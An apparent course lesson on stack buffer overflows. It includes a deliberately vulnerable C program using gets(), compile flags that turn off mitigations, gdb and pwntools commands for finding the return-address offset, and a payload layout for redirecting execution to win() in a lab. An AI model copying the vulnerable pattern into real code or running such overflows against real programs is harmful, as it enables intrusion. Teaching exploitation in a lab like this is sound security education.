Anatomy of a Stack Buffer Overflow
Overwrite the return address, hijack execution
- › Explain exactly why writing past a buffer corrupts control data
- › Locate the saved return address relative to a local buffer
- › Compute the offset from a buffer to the return address
- › Redirect execution by overwriting the return address (in your lab)
The bug that built the industry
The stack buffer overflow is *the* classic memory-corruption exploit. It's worth mastering not because it's always practical on modern systems (mitigations make it harder, that's Day 12), but because it teaches the mechanism that all of binary exploitation builds on: when a program lets attacker data spill into memory that holds *control information*, the attacker controls the program.
You already have everything you need. From Metal-to-C you know the stack grows downward, that call pushes a return address, and that ret pops it back into rip. Today we watch an attacker abuse exactly that.
The vulnerable program
Here is a tiny, deliberately broken C program. Read it, then we'll put its stack under a microscope.
1#include <stdio.h>2#include <string.h>3 4void win(void) {5 puts("You should never have been able to call this.");6}7 8void vulnerable(void) {9 char buffer[64]; // 64 bytes of local storage on the stack10 printf("Input: ");11 gets(buffer); // <-- reads UNBOUNDED input into a 64-byte buffer12 printf("You said: %s\n", buffer);13}14 15int main(void) {16 vulnerable();17 return 0;18}The single fatal line
`gets(buffer)` reads characters from input into buffer until it sees a newline, with no limit. buffer is 64 bytes, but gets will happily write the 65th, 200th, 10,000th byte. It has no idea how big the buffer is; you never told it, and there's no way to tell it. (This is why gets was *removed from the C standard entirely*, it cannot be used safely. It's here as the clearest possible teaching example.)
Now, where do those overflowing bytes *go*? That's the whole exploit.
The stack frame under a microscope
When vulnerable() runs, its stack frame looks like this. Recall from Metal-to-C Day 14: the prologue pushed the saved rbp, and the call that entered the function pushed the return address, the spot in main to resume at when vulnerable returns.
higher addresses
+------------------------+
| return address | <- 8 bytes: where ret sends rip (back into main)
+------------------------+
| saved rbp | <- 8 bytes: caller's frame pointer
+------------------------+
| |
| buffer[63] | <- gets() writing UPWARD toward the saved rbp...
| ... |
| buffer[1] |
| buffer[0] | <- rsp points near here; buffer starts low
+------------------------+
lower addresses
Overflow direction: buffer fills UP ----> into saved rbp ----> into return addressvulnerable executes ret, the CPU jumps wherever you told it. You now control rip. Game over.Watching it break
Compile with mitigations off (Day 12 explains each flag) and feed it too much input. Everything below is on your own machine, a binary you compiled, the only place this is legal.
1# -fno-stack-protector: remove the canary (Day 12)2# -z execstack: make the stack executable (for the classic version)3# -no-pie: fixed load address, so addresses are predictable4gcc -fno-stack-protector -z execstack -no-pie -g -o vuln vuln.c5 6# a normal, short input: behaves fine7echo "hello" | ./vuln8 9# now overflow: 100 bytes into a 64-byte buffer10python3 -c "print('A'*100)" | ./vuln11# -> Segmentation fault (core dumped)Why the crash *is* the proof
That segfault is not a random failure, it is you overwriting the return address with AAAAAAAA (0x41414141...). When vulnerable hit ret, the CPU popped 0x4141414141414141 into rip and tried to fetch an instruction from address 0x4141..., which isn't mapped. Crash. You just redirected execution, to a garbage address, but redirected it nonetheless. Confirm it in gdb:
1gdb ./vuln2(gdb) run <<< $(python3 -c "print('A'*100)")3# Program received signal SIGSEGV4(gdb) info registers rip5# rip 0x4141414141414141 <- YOUR bytes are now the instruction pointerFinding the exact offset
Crashing is easy; *control* means putting a chosen address at the exact right spot. You need the offset: how many bytes from the start of the buffer until you're writing the return address. It isn't always 64, the compiler may add padding/alignment and the saved rbp sits between. The professional way is a cyclic pattern: a De Bruijn sequence where every 8-byte window is unique, so the value that lands in rip tells you the offset directly.
1# generate 200 unique bytes, feed them in2python3 -c "from pwn import *; print(cyclic(200).decode())" > pattern.txt3gdb ./vuln4(gdb) run < pattern.txt5(gdb) info registers rip # e.g. rip = 0x61616161616161666# feed that value back to get the exact offset:7(gdb) quit8python3 -c "from pwn import *; print(cyclic_find(0x6161616161616166))"9# -> 72 (64-byte buffer + 8-byte saved rbp = 72 before the return address)b"A"*72 + p64(target_address), 72 padding bytes to reach the saved return address, then the little-endian 8-byte address you want rip to become. Point it at win() (whose address you get with gdb's print win or nm vuln | grep win) and you've called a function the program never intended to reach. That's your lab.Redirect execution to win()
On your own machine, type vuln.c and build it with the flags shown (mitigations off). (1) Reproduce the crash and confirm in gdb that rip holds your bytes. (2) Use a cyclic pattern to find the exact offset to the return address. (3) Find the address of win() and write a payload, 'offset' padding bytes then the packed address of win, that makes the program print win()'s message. Do it as a pwntools script exploit.py. You write the exploit; the lesson gave you every piece but not the assembled answer.
$ gcc -fno-stack-protector -z execstack -no-pie -g -o vuln vuln.c$ python3 -c "from pwn import *; print(cyclic_find(0xVALUE_FROM_RIP))"$ nm ./vuln | grep win # address of win()$ python3 exploit.py- › You confirmed rip = your bytes in gdb before building the real payload
- › You derived the offset with a cyclic pattern, not by guessing
- › Your payload is padding + p64(win_address), little-endian (recall Metal-to-C Day 4)
- › Running exploit.py prints win()'s message, you called a function main never invoked